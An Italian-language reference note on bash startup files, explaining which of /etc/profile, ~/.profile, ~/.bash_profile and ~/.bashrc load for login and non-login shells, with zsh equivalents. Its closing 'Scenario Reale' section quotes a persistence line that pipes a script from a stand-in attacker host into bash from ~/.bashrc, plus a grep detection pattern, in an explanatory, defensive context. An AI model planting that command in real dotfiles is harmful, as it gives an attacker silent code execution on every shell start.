`
Cosa fa#
Quando bash si avvia, legge una serie di file di configurazione in ordine preciso per costruire l'ambiente della shell. Quali file vengono letti dipende dal tipo di sessione. Capire questo ordine e' fondamentale per sapere dove mettere variabili, alias e funzioni in modo che sopravvivano ai riavvii.
TL;DR#
Apri un terminale in GUI → non-login shell → legge ~/.bashrc
SSH verso un server → login shell → legge ~/.profile (o ~/.bash_profile)
che di solito chiama ~/.bashrc
su - → login shell → stesso percorso di SSH
bash script.sh → non-interattiva → non legge nessun file
source script.sh → shell corrente → non riavvia nienteI due tipi di sessione#
LOGIN SHELL NON-LOGIN SHELL
───────────────────────────── ──────────────────────────────
SSH verso un server Nuovo terminale in GUI
su - utente tmux, screen
Console TTY (login fisico) subshell lanciata da bash
bash script.sh
Legge: Legge:
/etc/profile /etc/bash.bashrc
~/.bash_profile ~/.bashrc
~/.bash_login (se .bash_profile
non esiste)
~/.profile (se nessuno dei
precedenti esiste)I file uno per uno#
/etc/profile#
Globale — letto da tutti gli utenti all'avvio di una login shell. Imposta variabili di sistema valide per tutti. Non modificarlo per configurazioni personali.
~/.bash_profile#
Personale — letto alla login. Non esiste di default su Ubuntu. Se lo crei, bash smette di leggere ~/.bash_login e ~/.profile. Di solito contiene solo una riga:
# ~/.bash_profile standard
if [ -f ~/.bashrc ]; then
source ~/.bashrc
fiQuesto fa convergere tutto su ~/.bashrc.
~/.bash_login#
Letto solo se ~/.bash_profile non esiste. Raro — legacy.
~/.profile#
Letto se ne' ~/.bash_profile ne' ~/.bash_login esistono. Default su Ubuntu — e' qui che la login shell atterisce. Chiama ~/.bashrc internamente.
~/.bashrc#
Il file piu' importante per la configurazione personale. Letto dalle shell non-login interattive. Contiene alias, funzioni, PS1, export di variabili. Di fatto e' il punto di convergenza su Ubuntu — sia login che non-login finiscono qui.
/etc/bash.bashrc#
Come ~/.bashrc ma globale — per tutti gli utenti. Letto dalle non-login shell prima di ~/.bashrc.
Il flusso su Ubuntu#
SSH login (login shell)
│
▼
/etc/profile
│
▼
~/.profile ──── chiama ────► source ~/.bashrc
│
▼
alias, export, PS1
tutto converge qui
Nuovo terminale GUI (non-login shell)
│
▼
/etc/bash.bashrc
│
▼
~/.bashrc
│
▼
alias, export, PS1Su Ubuntu tutto converge su ~/.bashrc — e' li' che metti la tua configurazione.
Dove mettere cosa#
| Cosa | Dove |
|---|---|
| Alias personali | ~/.bashrc |
| PS1 personalizzato | ~/.bashrc |
export PATH=... personale | ~/.bashrc |
export EDITOR=vim | ~/.bashrc |
| Variabili per tutti gli utenti | /etc/environment |
| Script da eseguire al login (una volta) | ~/.profile |
zsh — la stessa logica con nomi diversi#
Se usi zsh (default su macOS e Kali):
~/.bashrc → ~/.zshrc
~/.bash_profile → ~/.zprofile
~/.profile → ~/.zprofile (in alcuni casi)La logica e' identica — cambia solo il nome dei file.
Scenario Reale#
Un attaccante che ottiene accesso a un sistema modifica ~/.bashrc aggiungendo:
curl http://evil.com/payload.sh | bashAd ogni nuovo terminale aperto dall'utente — o ad ogni login SSH — il payload viene eseguito silenziosamente. E' uno dei vettori di persistence piu' usati perche' ~/.bashrc viene raramente monitorato.
# Difesa — controlla i dotfile alla ricerca di comandi sospetti
grep -E "curl|wget|nc|python|bash" ~/.bashrc ~/.profile ~/.zshrc 2>/dev/nullDove l'ho incontrato#
- shell-interattiva — concetto login vs non-login shell
- export — le variabili esportate vivono in questi file
- alias — gli alias permanenti vivono in ~/.bashrc
Collegato a#
- system — categoria
- shell-environment — le variabili definite in questi file costruiscono l'ambiente
- shell-interattiva — login shell vs non-login shell
- export — export in ~/.bashrc rende le variabili permanenti
- alias — alias in ~/.bashrc sopravvivono ai riavvii


